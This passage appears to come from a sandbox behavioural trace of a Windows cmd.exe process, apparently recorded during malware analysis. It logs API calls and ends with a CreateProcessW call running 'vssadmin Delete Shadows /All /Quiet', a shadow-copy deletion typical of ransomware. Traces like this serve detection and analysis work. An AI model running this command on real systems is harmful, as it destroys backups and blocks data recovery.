lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x4ff740*="Desktop") returned 0x17 [0264.255] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0264.255] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x4ff4c0 | out: lpFindFileData=0x4ff4c0) returned 0x5d0b20 [0264.270] FindClose (in: hFindFile=0x5d0b20 | out: hFindFile=0x5d0b20) returned 1 [0264.271] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x4ff4c0 | out: lpFindFileData=0x4ff4c0) returned 0x5d0b20 [0264.271] FindClose (in: hFindFile=0x5d0b20 | out: hFindFile=0x5d0b20) returned 1 [0264.271] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x4ff4c0 | out: lpFindFileData=0x4ff4c0) returned 0x5d0b20 [0264.271] FindClose (in: hFindFile=0x5d0b20 | out: hFindFile=0x5d0b20) returned 1 [0264.271] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0264.271] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0264.271] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0264.271] GetProcessHeap () returned 0x5d0000 [0264.271] RtlFreeHeap (HeapHandle=0x5d0000, Flags=0x0, BaseAddress=0x5d7738) returned 1 [0264.271] GetEnvironmentStringsW () returned 0x5d4bc0* [0264.271] GetProcessHeap () returned 0x5d0000 [0264.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb1a) returned 0x5d6c48 [0264.271] FreeEnvironmentStringsA (penv="=") returned 1 [0264.271] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x7d0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0264.271] GetProcessHeap () returned 0x5d0000 [0264.271] RtlFreeHeap (HeapHandle=0x5d0000, Flags=0x0, BaseAddress=0x5d0ae0) returned 1 [0264.271] ??_V@YAXPAX@Z () returned 0x1 [0264.271] ??_V@YAXPAX@Z () returned 0x1 [0264.271] GetProcessHeap () returned 0x5d0000 [0264.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400e) returned 0x5d8d50 [0264.272] GetProcessHeap () returned 0x5d0000 [0264.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x54) returned 0x5d7770 [0264.272] GetProcessHeap () returned 0x5d0000 [0264.272] RtlFreeHeap (HeapHandle=0x5d0000, Flags=0x0, BaseAddress=0x5d8d50) returned 1 [0264.272] GetConsoleOutputCP () returned 0x1b5 [0264.453] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0264.453] GetUserDefaultLCID () returned 0x409 [0264.453] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xc2f82c, cchData=8 | out: lpLCData=":") returned 2 [0264.453] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x4ffab0, cchData=128 | out: lpLCData="0") returned 2 [0264.453] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x4ffab0, cchData=128 | out: lpLCData="0") returned 2 [0264.454] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x4ffab0, cchData=128 | out: lpLCData="1") returned 2 [0264.454] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xc2f81c, cchData=8 | out: lpLCData="/") returned 2 [0264.454] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xc2f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0264.454] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xc2f778, cchData=32 | out: lpLCData="Tue") returned 4 [0264.454] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xc2f738, cchData=32 | out: lpLCData="Wed") returned 4 [0264.454] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xc2f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0264.454] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xc2f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0264.454] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xc2f678, cchData=32 | out: lpLCData="Sat") returned 4 [0264.454] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xc2f638, cchData=32 | out: lpLCData="Sun") returned 4 [0264.454] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xc2f80c, cchData=8 | out: lpLCData=".") returned 2 [0264.454] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xc2f7f8, cchData=8 | out: lpLCData=",") returned 2 [0264.454] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0264.455] GetProcessHeap () returned 0x5d0000 [0264.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20c) returned 0x5d7818 [0264.455] GetConsoleTitleW (in: lpConsoleTitle=0x5d7818, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0264.691] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0264.691] GetProcAddress (hModule=0x75e90000, lpProcName="CopyFileExW") returned 0x75ea4330 [0264.691] GetProcAddress (hModule=0x75e90000, lpProcName="IsDebuggerPresent") returned 0x75ea5930 [0264.691] GetProcAddress (hModule=0x75e90000, lpProcName="SetConsoleInputExeNameW") returned 0x74fe09d0 [0264.691] ??_V@YAXPAX@Z () returned 0x1 [0264.691] GetProcessHeap () returned 0x5d0000 [0264.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400a) returned 0x5d8d50 [0264.691] GetProcessHeap () returned 0x5d0000 [0264.691] RtlFreeHeap (HeapHandle=0x5d0000, Flags=0x0, BaseAddress=0x5d8d50) returned 1 [0264.692] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0264.692] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0264.692] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0264.692] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0264.692] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0264.692] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0264.692] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0264.692] GetProcessHeap () returned 0x5d0000 [0264.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5d7a30 [0264.692] GetProcessHeap () returned 0x5d0000 [0264.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1a) returned 0x5d7a90 [0264.693] GetProcessHeap () returned 0x5d0000 [0264.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x40) returned 0x5d7ab8 [0264.694] GetConsoleTitleW (in: lpConsoleTitle=0x4ff9a8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0264.852] malloc (_Size=0xffce) returned 0x7e2638 [0264.852] ??_V@YAXPAX@Z () returned 0x4ff734 [0264.853] malloc (_Size=0xffce) returned 0x7f2610 [0264.853] ??_V@YAXPAX@Z () returned 0x4ff4ec [0264.853] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0264.853] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0264.853] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0264.853] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0264.854] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0264.854] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0264.854] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0264.854] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0264.854] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0264.854] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0264.854] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0264.854] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0264.854] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0264.854] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0264.854] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0264.854] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0264.854] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0264.854] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0264.854] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0264.854] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0264.854] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0264.854] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0264.854] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0264.854] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0264.854] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0264.854] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0264.854] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0264.854] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0264.854] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0264.854] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0264.854] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0264.854] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0264.854] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0264.854] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0264.854] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0264.854] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0264.854] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0264.854] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0264.854] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0264.854] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0264.854] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0264.854] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0264.855] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0264.855] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0264.855] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0264.855] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0264.855] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0264.855] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0264.855] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0264.855] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0264.855] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0264.857] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0264.857] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0264.857] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0264.857] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0264.857] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0264.857] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0264.857] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0264.857] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0264.857] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0264.857] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0264.857] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0264.857] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0264.857] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0264.857] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0264.857] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0264.857] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0264.857] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0264.857] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0264.857] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0264.857] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0264.857] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0264.857] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0264.857] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0264.857] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0264.858] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0264.858] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0264.858] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0264.858] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0264.858] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0264.858] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0264.858] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0264.858] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0264.858] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0264.858] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0264.858] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0264.858] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0264.858] ??_V@YAXPAX@Z () returned 0x1 [0264.858] GetProcessHeap () returned 0x5d0000 [0264.858] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xffd6) returned 0x5d8d50 [0264.859] GetProcessHeap () returned 0x5d0000 [0264.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x52) returned 0x5d7b00 [0264.859] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0264.859] malloc (_Size=0xffce) returned 0x7f2610 [0264.859] ??_V@YAXPAX@Z () returned 0x4ff26c [0264.859] GetProcessHeap () returned 0x5d0000 [0264.859] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1ffa4) returned 0x5e8d30 [0264.860] SetErrorMode (uMode=0x0) returned 0x0 [0264.860] SetErrorMode (uMode=0x1) returned 0x0 [0264.860] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x5e8d38, lpFilePart=0x4ff28c | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x4ff28c*="Desktop") returned 0x17 [0264.860] SetErrorMode (uMode=0x0) returned 0x1 [0264.861] GetProcessHeap () returned 0x5d0000 [0264.861] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8d30, Size=0x4a) returned 0x5e8d30 [0264.861] GetProcessHeap () returned 0x5d0000 [0264.861] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e8d30) returned 0x4a [0264.861] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0264.861] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0264.861] GetProcessHeap () returned 0x5d0000 [0264.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1b4) returned 0x5d7b60 [0264.861] GetProcessHeap () returned 0x5d0000 [0264.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x360) returned 0x5d7d20 [0264.866] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.867] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x4ff018, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4ff018) returned 0xffffffff [0264.867] GetLastError () returned 0x2 [0264.867] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.867] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x4ff018, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4ff018) returned 0xffffffff [0264.867] GetLastError () returned 0x2 [0264.867] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.867] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x4ff018, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4ff018) returned 0x5d7f60 [0264.867] GetProcessHeap () returned 0x5d0000 [0264.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5d7fa0 [0264.867] FindClose (in: hFindFile=0x5d7f60 | out: hFindFile=0x5d7f60) returned 1 [0264.868] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x4ff018, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4ff018) returned 0xffffffff [0264.868] GetLastError () returned 0x2 [0264.868] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x4ff018, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4ff018) returned 0x5d7f60 [0264.868] GetProcessHeap () returned 0x5d0000 [0264.868] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5d7fa0, Size=0x4) returned 0x5d7fa0 [0264.868] FindClose (in: hFindFile=0x5d7f60 | out: hFindFile=0x5d7f60) returned 1 [0264.868] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0264.868] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0264.868] ??_V@YAXPAX@Z () returned 0x1 [0264.868] GetConsoleTitleW (in: lpConsoleTitle=0x4ff51c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0265.106] InitializeProcThreadAttributeList (in: lpAttributeList=0x4ff448, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x4ff434 | out: lpAttributeList=0x4ff448, lpSize=0x4ff434) returned 1 [0265.106] UpdateProcThreadAttribute (in: lpAttributeList=0x4ff448, dwFlags=0x0, Attribute=0x60001, lpValue=0x4ff430, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x4ff448, lpPreviousValue=0x0) returned 1 [0265.106] GetStartupInfoW (in: lpStartupInfo=0x4ff480 | out: lpStartupInfo=0x4ff480*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0265.107] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0265.108] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0265.108] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0265.108] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0265.108] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0265.108] GetProcessHeap () returned 0x5d0000 [0265.108] RtlFreeHeap (HeapHandle=0x5d0000, Flags=0x0, BaseAddress=0x5d7f60) returned 1 [0265.108] GetProcessHeap () returned 0x5d0000 [0265.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa) returned 0x5d7f60 [0265.108] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0265.110] _get_osfhandle (_FileHandle=1) returned 0x90 [0265.110] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0265.836] _get_osfhandle (_FileHandle=0) returned 0x8c [0265.836] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1 [0265.978] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x4ff3d0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin Delete Shadows /All /Quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x4ff41c | out: lpCommandLine="vssadmin Delete Shadows /All /Quiet", lpProcessInformation=0x4ff41c*(hProcess=0xe0, hThread=0xdc, dwProcessId=0x7b4, dwThreadId=0x9fc)) returned 1 [0266.374] CloseHandle (hObject=0xdc) returned 1 [0266.374] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0266.374] GetProcessHeap () returned 0x5d0000 [0266.374] RtlFreeHeap (HeapHandle=0x5d0000, Flags=0x0, BaseAddress=0x5d6c48) returned 1 [0266.374] GetEnvironmentStringsW () returned 0x5d6c48* [0266.374] GetProcessHeap () returned 0x5d0000 [0266.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb1a) returned 0x5d4bc0 [0266.374] FreeEnvironmentStringsA (penv="=") returned 1 [0266.374] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0280.121] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x4ff3b4 | out: lpExitCode=0x4ff3b4*=0x2) returned 1 [0280.121] CloseHandle (hObject=0xe0) returned 1 [0280.121] _vsnwprintf (in: _Buffer=0x4ff49c, _BufferCount=0x13, _Format="%08X", _ArgList=0x4ff3bc | out: _Buffer="00000002") returned 8 [0280.122] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0280.122] GetProcessHeap () returned 0x5d0000 [0280.122] RtlFreeHeap (HeapHandle=0x5d0000, Flags=0x0, BaseAddress=0x5d4bc0) returned 1 [0280.123] GetEnvironmentStringsW () returned 0x5d4bc0* [0280.123] GetProcessHeap () returned 0x5d0000 [0280.123] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb40) returned 0x5e98d0 [0280.123] FreeEnvironmentStringsA (penv="=") returned 1 [0280.123] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0280.123] GetProcessHeap () returned 0x5d0000 [0280.123] RtlFreeHeap (HeapHandle=0x5d0000, Flags=0x0, BaseAddress=0x5e98d0) returned 1 [0280.123] GetEnvironmentStringsW () returned 0x5d4bc0* [0280.124] GetProcessHeap () returned 0x5d0000 [0280.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb40) returned 0x5e98d0 [0280.124] FreeEnvironmentStringsA (penv="=") returned 1 [0280.124] GetProcessHeap () returned 0x5d0000 [0280.124] RtlFreeHeap (HeapHandle=0x5d0000, Flags=0x0, BaseAddress=0x5d7f60) returned 1 [0280.124] DeleteProcThreadAttributeList (in: lpAttributeList=0x4ff448 | out: lpAttributeList=0x4ff448) [0280.124] ??_V@YAXPAX@Z () returned 0x1 [0280.124] _get_osfhandle (_FileHandle=1) returned 0x90 [0280.124] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0280.324] _get_osfhandle (_FileHandle=1) returned 0x90 [0280.324] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc33890 | out: lpMode=0xc33890) returned 1 [0280.494] _get_osfhandle (_FileHandle=1) returned 0x90 [0280.494] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0280.750] _get_osfhandle (_FileHandle=0) returned 0x8c [0280.750] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33894 | out: lpMode=0xc33894) returned 1 [0281.185] _get_osfhandle (_FileHandle=0) returned 0x8c [0281.185] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0281.416] SetConsoleInputExeNameW () returned 0x1 [0281.416] GetConsoleOutputCP () returned 0x1b5 [0281.668] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0281.668] SetThreadUILanguage (LangId=0x0) returned 0x330409 [0281.865] exit (_Code=2) [0281.866] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 129 os_tid = 0xc70 Process: id = "16" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root 